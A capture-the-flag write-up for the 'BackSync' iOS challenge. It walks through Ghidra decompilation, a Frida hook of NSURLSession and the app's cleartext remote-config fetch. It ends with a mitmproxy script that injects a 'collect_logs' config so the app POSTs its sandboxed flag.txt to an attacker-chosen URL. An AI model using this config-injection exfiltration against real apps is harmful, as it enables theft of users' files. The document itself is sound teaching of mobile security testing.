8kSec BackSync¶
Description: BackSync appears to be a straightforward profile viewer with minimal functionality. However, beneath its unassuming interface lies a background process that periodically fetches remote configurations. These configurations can influence the app’s behavior in unexpected ways.
Link: https://academy.8ksec.io/course/ios-application-exploitation-challenges
Install an IPA file can be difficult. So, for make it more easy, I made a YouTube video with the process using Sideloadly. LINK: https://www.youtube.com/watch?v=YPpo9owRKGE
Once you have the app installed, let's proceed with the challenge. unzip the .ipa file.
Recon¶
Inside of Payload/BackSync.app we can see the BackSync.debug.dylib file library.
This is suspicious so, we can import into Ghidra tool for code analysis.
Check the Exports container in Symbol Tree, we can see some functions:
-  
checkLocalConfigForVersion -  
fetchRemoteConfig -  
fetchRemoteConfigPeriodically -  
sendFlag -  
writeFlagToSandbox 
We can notice that the app make a call to http://deletedoldstagingsite.com/remoteConfig
Check that using this recon frida script:
if (!ObjC.available) throw new Error("ObjC not available");
function nsstr(p) { return new ObjC.Object(p).toString(); }
function dumpHeaders(hPtr) {
  if (!hPtr || ptr(hPtr).isNull()) return "{}";
  const d = new ObjC.Object(hPtr);
  const keys = d.allKeys();
  const out = [];
  for (let i = 0; i < keys.count(); i++) {
    const k = keys.objectAtIndex_(i).toString();
    const v = d.objectForKey_(keys.objectAtIndex_(i)).toString();
    out.push(`${k}: ${v}`);
  }
  return "{ " + out.join(" | ") + " }";
}
const NSURLSession = ObjC.classes.NSURLSession;
const NSURLSessionTask = ObjC.classes.NSURLSessionTask;
// dataTaskWithURL: (+ completionHandler:)
["- dataTaskWithURL:", "- dataTaskWithURL:completionHandler:"].forEach(sel => {
  if (NSURLSession[sel]) {
    Interceptor.attach(NSURLSession[sel].implementation, {
      onEnter(args) {
        try {
          const url = new ObjC.Object(args[2]).absoluteString().toString();
          console.log(`[NSURLSession ${sel}] URL=${url}`);
        } catch (_) {}
      }
    });
  }
});
// dataTaskWithRequest: (+ completionHandler:) — con null-safety real
["- dataTaskWithRequest:", "- dataTaskWithRequest:completionHandler:"].forEach(sel => {
  if (NSURLSession[sel]) {
    Interceptor.attach(NSURLSession[sel].implementation, {
      onEnter(args) {
        try {
          const reqPtr = args[2];
          if (ptr(reqPtr).isNull()) return;
          const R = new ObjC.Object(reqPtr);
          const url = R.URL() ? R.URL().absoluteString().toString() : "<nil>";
          const method = R.HTTPMethod() ? R.HTTPMethod().toString() : "GET?";
          const hdrsPtr = R.allHTTPHeaderFields();
          const headers = dumpHeaders(hdrsPtr);
          let bodyLen = 0;
          const bodyPtr = R.HTTPBody();
          if (bodyPtr && !ptr(bodyPtr).isNull()) {
            const body = new ObjC.Object(bodyPtr);
            if (body.respondsToSelector_("length")) bodyLen = body.length();
          }
          console.log(`[NSURLSession ${sel}] ${method} ${url}\n  Headers=${headers}\n  BodyLen=${bodyLen}`);
        } catch (e) {
          console.log(`[HookError ${sel}] ${e}`);
        }
      }
    });
  }
});
// resume
if (NSURLSessionTask["- resume"]) {
  Interceptor.attach(NSURLSessionTask["- resume"].implementation, {
    onEnter(args) {
      try {
        const task = new ObjC.Object(args[0]);
        const reqPtr = task.currentRequest();
        if (!reqPtr || ptr(reqPtr).isNull()) return;
        const R = new ObjC.Object(reqPtr);
        const url = R.URL() ? R.URL().absoluteString().toString() : "<nil>";
        const method = R.HTTPMethod() ? R.HTTPMethod().toString() : "GET?";
        const headers = dumpHeaders(R.allHTTPHeaderFields());
        let bodyLen = 0;
        const bodyPtr = R.HTTPBody();
        if (bodyPtr && !ptr(bodyPtr).isNull()) {
          const body = new ObjC.Object(bodyPtr);
          if (body.respondsToSelector_("length")) bodyLen = body.length();
        }
        console.log(`[NSURLSessionTask resume] ${method} ${url}\n  Headers=${headers}\n  BodyLen=${bodyLen}`);
      } catch (e) {
        console.log(`[HookError resume] ${e}`);
      }
    }
  });
}
Then, run the application and this command:
Output:[iPhone::BackSync ]-> [NSURLSession - dataTaskWithURL:completionHandler:] URL=http://dccdeletedoldstagingsite.com/remoteConfig
[NSURLSessionTask resume] GET http://dccdeletedoldstagingsite.com/remoteConfig
  Headers={}
  BodyLen=0
Anyway you can check in fetchRemoteConfig code: 
void BackSync::fetchRemoteConfig(void)
{
 [...]
 VARIABLES
 [...]
 [...]
 Foundation.URL?
 [...]
  PTR_$$protocol_witness_table_for_Swift.String_:_Swift.CustomStringConvertible_in_Swift_000144d0;
  local_120 = 
  PTR_$$protocol_witness_table_for_Swift.String_:_Swift.TextOutputStreamable_in_Swift_000144c8;
  Swift::DefaultStringInterpolation::$appendInterpolation
            ((char)local_188,
             (DefaultStringInterpolation)PTR_$$type_metadata_for_Swift.String_000144a8);
  $$outlined_destroy_of_Swift.String(local_188);
  DVar6.unknown = (undefined *)(uint)(local_cc & 1);
  SVar7 = Swift::String::init("deletedoldstagingsite.com/remoteConfig",(__int16)local_180,
                              (__int8)(local_cc & 1));
  local_178 = SVar7.bridgeObject;
  Swift::DefaultStringInterpolation::appendLiteral(SVar7,DVar6);
  _swift_bridgeObjectRelease(local_178);
  local_160.unknown = local_38;
  local_168 = local_30;
  _swift_bridgeObjectRetain();
  $$outlined_destroy_of_Swift.DefaultStringInterpolation(local_170);
  local_140 = Swift::String::init(local_160);
  local_150 = 7;
  iVar2 = local_158;
  local_70 = local_140;
  local_80 = (undefined *)Swift::DefaultStringInterpolation::init(7,local_158);
  local_100 = &local_80;
  DVar6.unknown = (undefined *)(uint)(local_cc & 1);
  local_78 = iVar2;
  SVar7 = Swift::String::init("http://",(__int16)local_150,(__int8)(local_cc & 1));
  local_148 = SVar7.bridgeObject;
  Swift::DefaultStringInterpolation::appendLiteral(SVar7,DVar6);
  _swift_bridgeObjectRelease(local_148);
  local_90 = local_140.str;
  local_88 = local_140.bridgeObject;
  Swift::DefaultStringInterpolation::$appendInterpolation
            ((char)&stack0xfffffffffffffff0 + -0x80,local_130);
  DVar6.unknown = (undefined *)(uint)(local_cc & 1);
  SVar7 = Swift::String::init(local_118,(__int16)local_110,(__int8)(local_cc & 1));
  local_108 = SVar7.bridgeObject;
  Swift::DefaultStringInterpolation::appendLiteral(SVar7,DVar6);
  _swift_bridgeObjectRelease(local_108);
  local_f0.unknown = local_80;
  local_f8 = local_78;
  _swift_bridgeObjectRetain();
  $$outlined_destroy_of_Swift.DefaultStringInterpolation(local_100);
  SVar7 = Swift::String::init(local_f0);
  local_e8 = SVar7.bridgeObject;
  Foundation::URL::$init();
  _swift_bridgeObjectRelease(local_e8);
  iVar2 = local_d8;
  (**(code **)(local_e0 + 0x30))(local_d8,local_cc,local_c8);
  UVar4.unknown = local_1c8;
  if ((sdword)iVar2 == 1) {
    $$outlined_destroy_of_Foundation.URL?(0,local_d8);
    _swift_bridgeObjectRelease(local_140.bridgeObject);
  }
  else {
    (**(code **)(local_e0 + 0x20))(local_1b8,local_d8,local_c8);
    puVar3 = &_OBJC_CLASS_$_NSURLSession;
    _objc_opt_self();
    _objc_msgSend();
    _objc_retainAutoreleasedReturnValue();
    local_1f0 = puVar3;
    (**(code **)(local_e0 + 0x10))(UVar4.unknown,local_1b8,local_c8);
    local_1f8 = Foundation::URL::_bridgeToObjectiveC(UVar4);
    local_1e0 = *(code **)(local_e0 + 8);
    (*local_1e0)(local_1c8,local_c8);
    local_a0 = 
    $$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_BackSync.fetc hRemoteConfig()_->_()
    ;
    local_98 = 0;
    local_c0 = PTR___NSConcreteStackBlock_000140f0;
    local_b8 = 0x42000000;
    local_b4 = 0;
    local_b0 = 
    $$reabstraction_thunk_helper_from_@escaping_@callee_guaranteed_@Sendable_(@guaranteed_Foundation .Data?,@guaranteed___C.NSURLResponse?,@guaranteed_Swift.Error?)_->_()_to_@escaping_@callee_unown ed_@convention(block)_@Sendable_(@unowned___C.NSData?,@unowned___C.NSURLResponse?,@unowned___C.N SError?)_->_()
    ;
    local_a8 = &_block_descriptor.3;
    local_200 = __Block_copy(&local_c0);
    puVar3 = local_1f0;
    _objc_msgSend(local_1f0,"dataTaskWithURL:completionHandler:",local_1f8);
    _objc_retainAutoreleasedReturnValue();
    local_1e8 = puVar3;
    __Block_release(local_200);
    (*(code *)PTR__objc_release_000140c8)(local_1f8);
    (*(code *)PTR__objc_release_000140c8)(local_1f0);
    _objc_msgSend(local_1e8,"resume");
    (*(code *)PTR__objc_release_000140c8)(local_1e8);
    (*local_1e0)(local_1b8,local_c8);
    _swift_bridgeObjectRelease(local_140.bridgeObject);
  }
  return;
}
Notice that http://deletedoldstagingsite.com doesn't response. So, let's intercept this call using MITMProxy.
I will skip the setup of proxy, you must know how to set up a lab in iOS and macOS. And there are a lot of content in internet.
Let's start the mitmproxy
We can confirm that no information is transmitted in these request.
And we don't need interact with the app, in fact, probably the buttons doesn't nothing.
If we pay attention, in fetchRemoteConfigPeriodically, the request is sent every 10 seconds: 
  else {
    DVar8.unknown = (undefined *)*local_c0;
    local_1c8 = (int *)DVar8.unknown;
    _swift_unknownObjectRetain(DVar8.unknown);
    _swift_endAccess(aiStack_58);
    _swift_getObjectType();
    local_1d0.unknown = DVar8.unknown;
    Dispatch::DispatchTime::now(DVar8);
    (extension_Dispatch)::__C::OS_dispatch_source_timer::$schedule(local_1d0,in_d0,DVar2);
    (extension_Dispatch)::__C::OS_dispatch_source_timer::schedule
              (local_168,10.0,(DispatchTimeInterval)(__int8)local_188);
    (**(code **)(local_198 + 8))(local_188,local_1a0);
    (**(code **)(local_178 + 8))(local_168.unknown,local_180);
    piVar9 = local_1c8;
    _swift_unknownObjectRelease();
  }
(local_168,10.0,(DispatchTimeInterval)(__int8)local_188); What is dataTaskWithURL:completionHandler:?
The method dataTaskWithURL:completionHandler: is a fundamental part of NSURLSession in
Apple's Foundation framework, used for making network requests and handling the response.
But, let's see the order that the app execute. First, we have also init functions.
So, init function is important because execute another functions:
-  
writeFlagToSandbox()→ guaranteesflag.txt -  
fetchRemoteConfigPeriodically()→ schedules the fetch loop every ~10 s. 
Implication: The flag is always set before the first GET to remoteConfig
The writeFlagToSandbox() function: 
  local_38 = (undefined *)0x0;
  local_48 = (String)ZEXT816(0);
  local_c8 = 0;
  local_f8 = (undefined *)Encoding::$typeMetadataAccessor();
  local_f0 = *(int *)(local_f8 + -8);
  local_e8 = *(int *)(local_f0 + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_000140f8)(local_c8);
  iVar1 = -local_e8;
  local_70.unknown = local_100 + iVar1;
  local_a0 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_b0 = *(int *)(local_a0 + -8);
  local_e0 = *(int *)(local_b0 + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  iVar1 = (int)(local_100 + iVar1) - local_e0;
  local_d8 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
  local_a8 = iVar1;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  local_68.unknown = (undefined *)(iVar1 - local_d8);
  local_74 = 1;
  local_38 = local_68.unknown;
  local_88 = Swift::String::init("FLAG{you_remotely_triggered_the_leak}",0x25,1);
  puVar3 = &_OBJC_CLASS_$_NSFileManager;
  local_48 = local_88;
  _objc_opt_self();
  _objc_msgSend();
  _objc_retainAutoreleasedReturnValue();
  local_d0 = puVar3;
  _objc_msgSend();
  _objc_retainAutoreleasedReturnValue();
  local_90 = puVar3;
  (*(code *)PTR__objc_release_000140c8)(local_d0);
  AVar2 = (extension_Foundation)::Swift::Array<undefined>::$_unconditionallyBridgeFromObjectiveC();
  local_c0 = CONCAT44(extraout_var,AVar2);
  Swift::Array<undefined>::get_subscript(local_c8,AVar2);
  _swift_bridgeObjectRelease(local_c0);
  UVar4.unknown = (undefined *)(uint)(local_74 & 1);
  SVar5 = Swift::String::init("flag.txt",8,(__int8)(local_74 & 1));
  local_b8 = SVar5.bridgeObject;
  Foundation::URL::appendingPathComponent(SVar5,UVar4);
  _swift_bridgeObjectRelease(local_b8);
  local_98 = *(code **)(local_b0 + 8);
  (*local_98)(local_a8,local_a0);
  (*(code *)PTR__objc_release_000140c8)(local_90);
  local_58 = local_88.str;
  local_50 = local_88.bridgeObject;
  Encoding::$get_utf8((Encoding)local_88.str);
  Swift::String::$lazy_protocol_witness_table_accessor();
  (extension_Foundation)::Swift::StringProtocol::$write
            (local_68,(bool)((byte)local_74 & 1),local_70);
  local_60 = 0;
  (**(code **)(local_f0 + 8))(local_70.unknown,local_f8);
  (*local_98)(local_68.unknown,local_a0);
  _swift_bridgeObjectRelease(local_88.bridgeObject);
  return;
flag.txt file into Documents sandbox directory. The sendFlag function¶
And the most important function: BackSync.sendFlag(to: String) 
  local_130 = to.bridgeObject;
  local_128 = to.str;
  local_38 = *(int *)PTR____stack_chk_guard_00014108;
  local_48 = (URLRequest *)0x0;
  local_50 = 0;
  local_58 = 0;
  local_68 = (char *)0x0;
  local_60 = (void *)0x0;
  local_78 = (char *)0x0;
  local_70 = (void *)0x0;
  local_80 = (undefined *)0x0;
  local_f8 = 0;
  local_170 = (undefined *)Foundation::URLRequest::typeMetadataAccessor();
  local_168 = *(int *)(local_170 + -8);
  local_160 = *(int *)(local_168 + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  puVar3 = (undefined *)((int)&local_2a0 - local_160);
  local_150 = extraout_x8 + 0xfU & 0xfffffffffffffff0;
  local_158 = puVar3;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  pUVar1 = (URLRequest *)(puVar3 + -local_150);
  puVar3 = &$$demangling_cache_variable_for_type_metadata_for_Foundation.URL?;
  local_148 = pUVar1;
  local_48 = pUVar1;
  ___swift_instantiateConcreteTypeFromMangledName();
  local_140 = *(int *)(*(int *)(puVar3 + -8) + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_000140f8)(local_f8);
  iVar4 = (int)pUVar1 - local_140;
  local_138 = iVar4;
  local_c8 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_d8 = *(int *)(local_c8 + -8);
  local_120 = *(int *)(local_d8 + 0x40) + 0xfU & 0xfffffffffffffff0;
  pcVar9 = local_128;
  pvVar8 = local_130;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  iVar4 = iVar4 - local_120;
  local_110 = extraout_x8_00 + 0xfU & 0xfffffffffffffff0;
  local_118 = iVar4;
  local_50 = iVar4;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  puVar3 = (undefined *)(iVar4 - local_110);
  local_108 = extraout_x8_01 + 0xfU & 0xfffffffffffffff0;
  local_d0.unknown = puVar3;
  (*(code *)PTR____chkstk_darwin_000140f8)();
  local_b0 = (int)puVar3 - local_108;
  puVar3 = &_OBJC_CLASS_$_NSFileManager;
  local_68 = pcVar9;
  local_60 = pvVar8;
  local_58 = local_b0;
  _objc_opt_self();
  _objc_msgSend();
  _objc_retainAutoreleasedReturnValue();
  local_100 = puVar3;
  _objc_msgSend();
  _objc_retainAutoreleasedReturnValue();
  local_b8 = puVar3;
  (*(code *)PTR__objc_release_000140c8)(local_100);
  AVar2 = (extension_Foundation)::Swift::Array<undefined>::$_unconditionallyBridgeFromObjectiveC();
  local_f0 = CONCAT44(extraout_var,AVar2);
  Swift::Array<undefined>::get_subscript(local_f8,AVar2);
  _swift_bridgeObjectRelease(local_f0);
  UVar5.unknown = (undefined *)((int)&mach_header_00000000.magic + 1);
  SVar10 = Swift::String::init("flag.txt",8,1);
  local_e0 = SVar10.bridgeObject;
  Foundation::URL::appendingPathComponent(SVar10,UVar5);
  _swift_bridgeObjectRelease(local_e0);
  local_c0 = *(code **)(local_d8 + 8);
  (*local_c0)(local_d0.unknown,local_c8);
  (*(code *)PTR__objc_release_000140c8)(local_b8);
  local_a8 = (extension_Foundation)::Swift::String::$init();
  local_98 = 0;
  local_180 = local_a8.str;
  local_178 = local_a8.bridgeObject;
  local_190 = local_a8.bridgeObject;
  local_188 = local_a8.str;
  if (local_a8.bridgeObject != (void *)0x0) {
    local_1a0 = local_a8.str;
    local_198 = local_a8.bridgeObject;
    local_1b0 = local_a8.bridgeObject;
    local_1a8 = local_a8.str;
    local_78 = local_a8.str;
    local_70 = local_a8.bridgeObject;
    Foundation::URL::$init();
    iVar4 = local_138;
    (**(code **)(local_d8 + 0x30))(local_138,1,local_c8);
    pUVar1 = local_148;
    if ((sdword)iVar4 != 1) {
      (**(code **)(local_d8 + 0x20))(local_118,local_138,local_c8);
      UVar5.unknown = local_d0.unknown;
      (**(code **)(local_d8 + 0x10))(local_d0.unknown,local_118,local_c8);
      $$default_argument_1_of_Foundation.URLRequest.init(url:_Foundation.URL,cachePolicy:___C.NSURLR equestCachePolicy,timeoutInterval:_Swift.Double)_->_Foundation.URLRequest
                ();
      local_240.unknown = UVar5.unknown;
      $$default_argument_2_of_Foundation.URLRequest.init(url:_Foundation.URL,cachePolicy:___C.NSURLR equestCachePolicy,timeoutInterval:_Swift.Double)_->_Foundation.URLRequest
                ();
      Foundation::URLRequest::init(local_d0,local_240,in_d0);
      local_218 = 4;
      local_21c = 1;
      Swift::String::init("POST",4,1);
      Foundation::URLRequest::$set_httpMethod(pUVar1);
      SVar10 = Swift::String::init("application/json",0x10,(byte)local_21c & 1);
      local_228 = SVar10.bridgeObject;
      local_238 = SVar10.str;
      SVar10 = Swift::String::init("Content-Type",0xc,(byte)local_21c & 1);
      local_230 = SVar10.bridgeObject;
      SVar11.bridgeObject = local_228;
      SVar11.str = local_238;
      Foundation::URLRequest::$setValue(SVar11,(URLRequest.conflict)SVar10.str);
      _swift_bridgeObjectRelease(local_230);
      _swift_bridgeObjectRelease(local_228);
      puVar3 = &$$demangling_cache_variable_for_type_metadata_for_(Swift.String,Swift.String);
      ___swift_instantiateConcreteTypeFromMangledName();
      local_200 = puVar3;
      local_210 = Swift::$_allocateUninitializedArray(1);
      SVar10 = Swift::String::init("flag",(__int16)local_218,(byte)local_21c & 1);
      *(String *)local_210.1 = SVar10;
      _swift_bridgeObjectRetain(local_1b0);
      *(char **)((int)local_210.1 + 0x10) = local_1a8;
      *(void **)((int)local_210.1 + 0x18) = local_1b0;
      Swift::$_finalizeUninitializedArray(local_210.0);
      local_1f8 = PTR_$$type_metadata_for_Swift.String_000144a8;
      local_1f0 = PTR_$$protocol_witness_table_for_Swift.String_:_Swift.Hashable_in_Swift_000144b0;
      local_1e8 = (undefined *)Swift::Dictionary::$init();
      local_1e0 = 0;
      local_40 = 0;
      puVar3 = &_OBJC_CLASS_$_NSJSONSerialization;
      local_80 = local_1e8;
      _objc_opt_self();
      local_1d0 = puVar3;
      _swift_bridgeObjectRetain(local_1e8);
      local_1c0 = (extension_Foundation)::Swift::Dictionary::_bridgeToObjectiveC();
      _swift_bridgeObjectRelease(local_1e8);
      __C::NSJSONWritingOptions::typeMetadataAccessor();
      tVar12 = Swift::$_allocateUninitializedArray((__int16)local_1e0);
      local_1d8 = tVar12._0_8_;
      __C::NSJSONWritingOptions::$lazy_protocol_witness_table_accessor();
      (extension_Swift)::Swift::SetAlgebra::$init();
      local_90 = local_40;
      pcVar9 = "dataWithJSONObject:options:error:";
      puVar3 = local_1d0;
      _objc_msgSend(local_1d0,"dataWithJSONObject:options:error:",local_1c0,local_88,&local_90);
      _objc_retainAutoreleasedReturnValue();
      local_1c8 = local_90;
      local_1b8.unknown = puVar3;
      (*(code *)PTR__objc_retain_000140d0)();
      uVar7 = local_40;
      local_40 = local_1c8;
      (*(code *)PTR__objc_release_000140c8)(uVar7);
      _swift_unknownObjectRelease(local_1c0);
      if (local_1b8.unknown == (undefined *)0x0) {
        local_2a0 = local_40;
        uVar7 = local_40;
        Foundation::$_convertNSErrorToError();
        local_298 = uVar7;
        (*(code *)PTR__objc_release_000140c8)(local_2a0);
        _swift_willThrow();
        _swift_errorRelease(local_298);
        local_258 = (undefined *)0x0;
        local_250 = (char *)0xf000000000000000;
      }
      else {
        local_248 = local_1b8.unknown;
        local_270 = local_1b8.unknown;
        local_268 = (undefined *)Foundation::Data::$_unconditionallyBridgeFromObjectiveC(local_1b8);
        local_260 = pcVar9;
        (*(code *)PTR__objc_release_000140c8)(local_270);
        local_258 = local_268;
        local_250 = local_260;
      }
      Foundation::URLRequest::$set_httpBody(local_148);
      UVar6.unknown = local_158;
      puVar3 = &_OBJC_CLASS_$_NSURLSession;
      _objc_opt_self();
      _objc_msgSend();
      _objc_retainAutoreleasedReturnValue();
      local_288 = puVar3;
      (**(code **)(local_168 + 0x10))(UVar6.unknown,local_148,local_170);
      local_290 = Foundation::URLRequest::_bridgeToObjectiveC(UVar6);
      local_278 = *(code **)(local_168 + 8);
      (*local_278)(local_158,local_170);
      puVar3 = local_288;
      _objc_msgSend(local_288,"dataTaskWithRequest:",local_290);
      _objc_retainAutoreleasedReturnValue();
      local_280 = puVar3;
      (*(code *)PTR__objc_release_000140c8)(local_290);
      (*(code *)PTR__objc_release_000140c8)(local_288);
      _objc_msgSend(local_280,"resume");
      (*(code *)PTR__objc_release_000140c8)(local_280);
      _swift_bridgeObjectRelease(local_1e8);
      (*local_278)(local_148,local_170);
      (*local_c0)(local_118,local_c8);
      _swift_bridgeObjectRelease(local_1b0);
      (*local_c0)(local_b0,local_c8);
      goto LAB_0000bbcc;
    }
    $$outlined_destroy_of_Foundation.URL?(local_138);
    _swift_bridgeObjectRelease(local_1b0);
  }
  (*local_c0)(local_b0,local_c8);
LAB_0000bbcc:
  if (*(int *)PTR____stack_chk_guard_00014108 - local_38 != 0) {
                    /* WARNING: Subroutine does not return */
    ___stack_chk_fail(*(int *)PTR____stack_chk_guard_00014108 - local_38);
  }
  return;
This is the vulnerable function
-  
Gets Documents and builds
.../Documents/flag.txt. -  
Reads the contents of
flag.txtinto a String (UTF-8). -  
Constructs a
URLRequestto (...). -  
POST with
Content-Type: application/jsonand body{"flag": "<content>"}viaNSJSONSerialization. -  
Creates
dataTaskWithRequestand resume()→ exfiltrates the flag. 
Closure¶
So, how trigger this function?
Let's search in the program for the text NSJSONSerialization!
We can found this closure:
$$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_BackSync.fet chRemoteConfig()_->_()local_38 = *(int *)PTR____stack_chk_guard_00014108; local_58 = (undefined *)0x0; local_50 = 0; local_f8 = (undefined *)0x0; local_128 = (char *)0x0; local_120 = (void *)0x0; local_e0 = param_4; local_d8 = param_3; local_48 = param_1.unknown; local_40 = param_2; $outlined_copy(); if ((param_2 & 0xf000000000000000) == 0xf000000000000000) goto LAB_00005898; local_60 = 0; puVar5 = &_OBJC_CLASS_$_NSJSONSerialization; local_58 = param_1.unknown; local_50 = param_2; _objc_opt_self(); _Var3.value = (__int8)param_1.unknown; outlined_copy(_Var3); pNVar6 = Foundation::Data::_bridgeToObjectiveC(param_1); outlined_consume(_Var3); __C::NSJSONReadingOptions::typeMetadataAccessor(); Swift::$_allocateUninitializedArray(0); __C::NSJSONReadingOptions::$lazy_protocol_witness_table_accessor(); (extension_Swift)::Swift::SetAlgebra::$init(); local_f0 = local_60; _objc_msgSend(puVar5,"JSONObjectWithData:options:error:",pNVar6,local_e8,&local_f0); _objc_retainAutoreleasedReturnValue(); uVar1 = local_f0; (*(code *)PTR__objc_retain_000140d0)(); uVar9 = local_60; local_60 = uVar1; (*(code *)PTR__objc_release_000140c8)(uVar9); (*(code *)PTR__objc_release_000140c8)(pNVar6); uVar1 = local_60; if (puVar5 == (undefined *)0x0) { uVar9 = local_60; Foundation::$_convertNSErrorToError(); (*(code *)PTR__objc_release_000140c8)(uVar1); _swift_willThrow(); _swift_errorRelease(uVar9); local_1b8.unknown = (undefined *)0x0; } else { Swift::$_bridgeAnyObjectToAny(); puVar7 = &$$demangling_cache_variable_for_type_metadata_for_[Swift.String_:_Swift.String]; ___swift_instantiateConcreteTypeFromMangledName (&$$demangling_cache_variable_for_type_metadata_for_[Swift.String_:_Swift.String]); ppuVar8 = &local_130; _swift_dynamicCast(ppuVar8,auStack_d0,PTR_$$type_metadata_for_Any_00014630 + 8,puVar7,6); if (((uint)ppuVar8 & 1) == 0) { local_1b0 = (undefined *)0x0; } else { local_1b0 = local_130; } _swift_unknownObjectRelease(puVar5); local_1b8.unknown = local_1b0; } if (local_1b8.unknown == (undefined *)0x0) { outlined_consume(_Var3); goto LAB_00005898; } local_f8 = local_1b8.unknown; local_108 = Swift::String::init("mode",4,1); pcVar11 = PTR_$$protocol_witness_table_for_Swift.String_:_Swift.Hashable_in_Swift_000144b0; Swift::Dictionary::$get_subscript((char)&local_108,local_1b8); $$outlined_destroy_of_Swift.String(&local_108); _swift_bridgeObjectRetain(); SVar12 = Swift::String::init("collect_logs",0xc,1); pvVar10 = SVar12.bridgeObject; _swift_bridgeObjectRetain(); local_90 = local_70; local_88 = local_68; local_80 = SVar12; if (local_68 == 0) { if (pvVar10 != (void *)0x0) goto LAB_00005778; $$outlined_destroy_of_Swift.String?(&local_90); bVar4 = true; } else { $$outlined_init_with_copy_of_Swift.String?(&local_90,&local_b0); if (local_80.bridgeObject == (void *)0x0) { $$outlined_destroy_of_Swift.String(&local_b0); SVar12 = local_80; LAB_00005778: local_80 = SVar12; $$outlined_destroy_of_(Swift.String?,Swift.String?)(&local_90); bVar4 = false; } else { _swift_bridgeObjectRetain(); SVar12 = local_80; pvVar2 = local_80.bridgeObject; _swift_bridgeObjectRetain(); SVar13.bridgeObject = local_a8; SVar13.str = local_b0; SVar14.bridgeObject = param_6; SVar14.str = pcVar11; bVar4 = Swift::String::==_infix(SVar13,SVar12,SVar14); _swift_bridgeObjectRelease(pvVar2); _swift_bridgeObjectRelease(local_a8); _swift_bridgeObjectRelease(pvVar2); _swift_bridgeObjectRelease(local_a8); $$outlined_destroy_of_Swift.String?(&local_90); } } _swift_bridgeObjectRelease(pvVar10); _swift_bridgeObjectRelease(local_68); if (bVar4 == false) { _swift_bridgeObjectRelease(local_1b8.unknown); outlined_consume(_Var3); } else { local_118 = Swift::String::init("target_url",10,1); Swift::Dictionary::$get_subscript((char)&local_118,local_1b8); $$outlined_destroy_of_Swift.String(&local_118); if (local_98 == (void *)0x0) { _swift_bridgeObjectRelease(local_1b8.unknown); outlined_consume(_Var3); } else { SVar12.bridgeObject = local_98; SVar12.str = local_a0; local_128 = local_a0; local_120 = local_98; BackSync::sendFlag(SVar12); _swift_bridgeObjectRelease(local_98); _swift_bridgeObjectRelease(local_1b8.unknown); outlined_consume(_Var3); } } LAB_00005898: if (*(int *)PTR____stack_chk_guard_00014108 - local_38 == 0) { return; } /* WARNING: Subroutine does not return */ ___stack_chk_fail(*(int *)PTR____stack_chk_guard_00014108 - local_38);
But what is a closure?
A closure in Swift is an anonymous function created in place (e.g., the URLSession completion handler).
At the binary level (Mach-O), this closure is not a public exported function like those in an API; it is a block (Objective-C block) with:
-  
A stack/heap structure (containing a pointer to the "invoke" function, descriptor, captures, etc.).
 -  
A pointer to the routine that executes the closure body.
 
The name of the closure, is "synthetic" (invented by Ghidra when reconstructing the stream); it does not appear in the binary's export table.
Even if they're not exported, Ghidra lists them as internal functions (local symbols). That's why you won't see them in Exports, but you will see them in Functions.
It's code that you pass to an API (e.g., URLSession) to be executed when a result is received (data/response/error). It captures environment variables (e.g., the destination URL) and decides what to do with the content.
So, let's understand THIS closure:
-  
Decode JSON with
NSJSONSerialization.JSONObjectWithData(...). -  
Bridge → Any →
[String:String] (_swift_dynamicCasttoString:String). -  
Read mode and compare with "
collect_logs". -  
If it's not
collect_logs→ exit. -  
If it's
collect_logs, taketarget_urland callBackSync::sendFlag(target_url). 
Solution¶
Let's create a mitimproxy script that will trigger the sendFlag() function! 
from mitmproxy import http, ctx
SUFFIX = "deletedoldstagingsite.com"  # target host suffix
def request(flow: http.HTTPFlow):
    # act only on cleartext HTTP to matching hosts
    if flow.request.scheme == "http" and flow.request.host.endswith(SUFFIX):
        # intercept GET /remoteConfig: return crafted JSON (no upstream)
        if flow.request.path == "/remoteConfig" and flow.request.method.upper() == "GET":
            target = f"http://{flow.request.host}/collect"
            body = ('{"mode":"collect_logs","target_url":"%s"}' % target).encode()
            flow.response = http.Response.make(200, body, {"Content-Type": "application/json"})
            ctx.log.info(f"[RC] {body.decode()}")
            return
        # intercept POST /collect: log body and ACK
        if flow.request.path == "/collect" and flow.request.method.upper() == "POST":
            ctx.log.info(f"[FLAG] {flow.request.get_text()}")
            flow.response = http.Response.make(200, b"ok\n", {"Content-Type": "text/plain"})
            return
Run mitmproxy and just wait the request
Look into /collect POST and there are the flag! 
I hope you found it useful (:


